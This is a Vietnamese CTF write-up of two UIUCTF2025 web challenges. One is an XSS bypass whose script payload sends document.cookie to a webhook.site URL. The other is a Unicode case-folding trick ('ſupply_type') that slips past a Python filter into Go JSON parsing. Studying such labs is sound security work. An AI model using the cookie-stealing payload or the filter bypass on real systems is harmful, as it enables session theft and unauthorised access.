Writeup Giải UIUCTF2025
UIUCTF2025
I. Ruler of the Universe
Khi ta mở sẽ thấy được giao diện như bên dưới
ngoài ra còn một trang Admin Bot
thì cũng phần nào đoán được bài lab này liên quan đến chủ đề XSS Injection
kiểm tra source code ta thấy một đoạn code khả nghi sau
1
2
3
4
5
6
7
8
9
10
11
<input
id="message"
name="message"
type="text"
class="w-full border border-green-400 bg-black text-green-400 px-2 py-1 text-xs"
placeholder={
crewMessage
? `Update your message: ${crewMessage}`
: "Enter a message for the crew"
}
/>
Ở đây, crewMessage
được đưa vào làm giá trị cho một thuộc tính (prop/attribute). Ngoài ra cũng còn có một đoạn code phòng chống XSS nhưng chưa đủ chắc chắn như sau
1
2
3
4
5
6
7
8
9
10
11
12
const propString = props
? Object.entries(props)
.filter(([key]) => key !== "children")
.map(([key, value]) => {
if (typeof value === "boolean") {
return value ? key : "";
}
return `${key}="${String(value).replace('"', """)}"`;
})
.filter(Boolean)
.join(" ")
: "";
đoạn code trên chỉ thay thế dấu "
đầu tiên bằng "
nên ta vẫn có thể dễ dàng vượt qua nó
và ta sẽ khai thác lỗ hổng trên bằng payload như sau: " placeholder="Hello"><script>fetch('[https://webhook.site/fbdbb9e3-5a91-4964-83de-9b97f9a23bb4?flag=](https://webhook.site/fbdbb9e3-5a91-4964-83de-9b97f9a23bb4?flag=)' + document.cookie)</script>
nhập payload vào phần Crew Message:
trên trang web và kiểm tra
ta thấy đã thành công tiêm thẻ script
vào trang web
và việc cuối cùng ta phải làm là gửi trang web đã bị XSS này đến với Adminbot
để lấy flag thôi
url_part
gửi đến adminbot module/1?message="+placeholder%3D"Hello"><script>fetch%28%27https%3A%2F%2Fwebhook.site%2Ffbdbb9e3-5a91-4964-83de-9b97f9a23bb4%3Fflag%3D%27+%2B+document.cookie%29<%2Fscript>
Flag: uiuctf{maybe_i_should_just_use_react_c49b79}
II. Shipping Bay
Khi mở trang web ta được một trang web với chức năng tạo và xem đơn hàng
Thử tạo đơn hàng và sau khi đơn hàng được tạo thì không hiển thị trên trình duyệt. Quay trở lại burpsuite ta nhận được request và respone như sau:
Quay trở lại source code ta nhận thấy có hai điểm đáng chú ý sau. Đoạn code python thì không cho sử key supply_type
có value là flag
⇒ nếu có thì chặn và không gửi đến processing_service
của Golang
1
2
3
4
def create_shipment():
shipment_data = {k.lower(): v for k, v in request.form.items()}
if shipment_data['supply_type'] == "flag":
return "Error: Invalid supply type", 400
Nhưng Golang lại cần điều kiện đó để trả ra flag
1
2
3
4
5
6
7
8
9
func sendShipment(shipment Shipment) string {
if shipment.SupplyType == "flag" {
if flag, exists := os.LookupEnv("FLAG"); exists {
return flag
}
return "uiuctf{fake_flag}"
}
return "oops we lost the package"
}
Vậy để vượt qua thử thách trên? Vấn đề nằm ở sự khác biệt về chuẩn hóa Unicode của Python và xử lý Json của Go. Khi unmarshal vào struct, Go nội bộ xây chiến lược tìm field theo tên JSON và cho phép một dạng so khớp không phân biệt hoa-thường (casefold). Vậy việc cần làm ở đây là tìm kí tự có casefold để vượt qua rào cản để lấy được flag. Và mình dùng đoạn code sau đây để tìm kí tự đó:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main
import (
"fmt"
"strings"
"unicode"
)
func main() {
s := "supply_type"
runes := []rune(s)
for pos, target := range runes {
count := 0
fmt.Printf("Vị trí %d, ký tự gốc %q (U+%04X)\n", pos, target, target)
for cand := rune(0); cand <= unicode.MaxRune; cand++ {
if !unicode.IsPrint(cand) || cand == target {
continue
}
if strings.EqualFold(string(cand), string(target)) {
fmt.Printf(" -> U+%04X %q\n", cand, cand)
count++
}
}
fmt.Println(" Total:", count)
}
}
và kết quả trả về chỉ duy nhất kí tự s
có casefold ſ
1
2
3
Vị trí 0, ký tự gốc 's' (U+0073)
-> U+0053 'S'
-> U+017F 'ſ'
Gửi payload đã chứa casefold để nhận flag origin=Earth+Station+Beta&destination=Mars+Colony+Alpha&supply_type=hello&ſupply_type=flag&weight=2.4+tons&departure=2000-02-01&arrival=2000-02-02&priority=Medium&vessel=Cargo+Hauler+IX
Vậy nó hoạt động như nào?
Khi ta gửi supply_type=hello&ſupply_type=flag
thì sẽ được xử lý như sau:
lower()
không casefold, không normalize do đó phân biệtsupply_type
vàſupply_type
nên thêm luôn vào dictonary hay key này. vàsupply_type=hello
có value ≠flag
nên đoạn payload sẽ được gửi tiếp đến Go- Go khi map JSON key → struct field so khớp không phân biệt hoa-thường theo Unicode (case folding), nên coi
ſ
≡s
. Vậy khi Go nhậnsupply_type=hello
và sau đó lại nhận đượcſupply_type=flag
thì casefold nó và ghi đè thànhsupply_type=flag
và vượt qua được kiểm tra nên trả ra flag.
Flag: uiuctf{maybe_we_should_check_schemas_8e229f}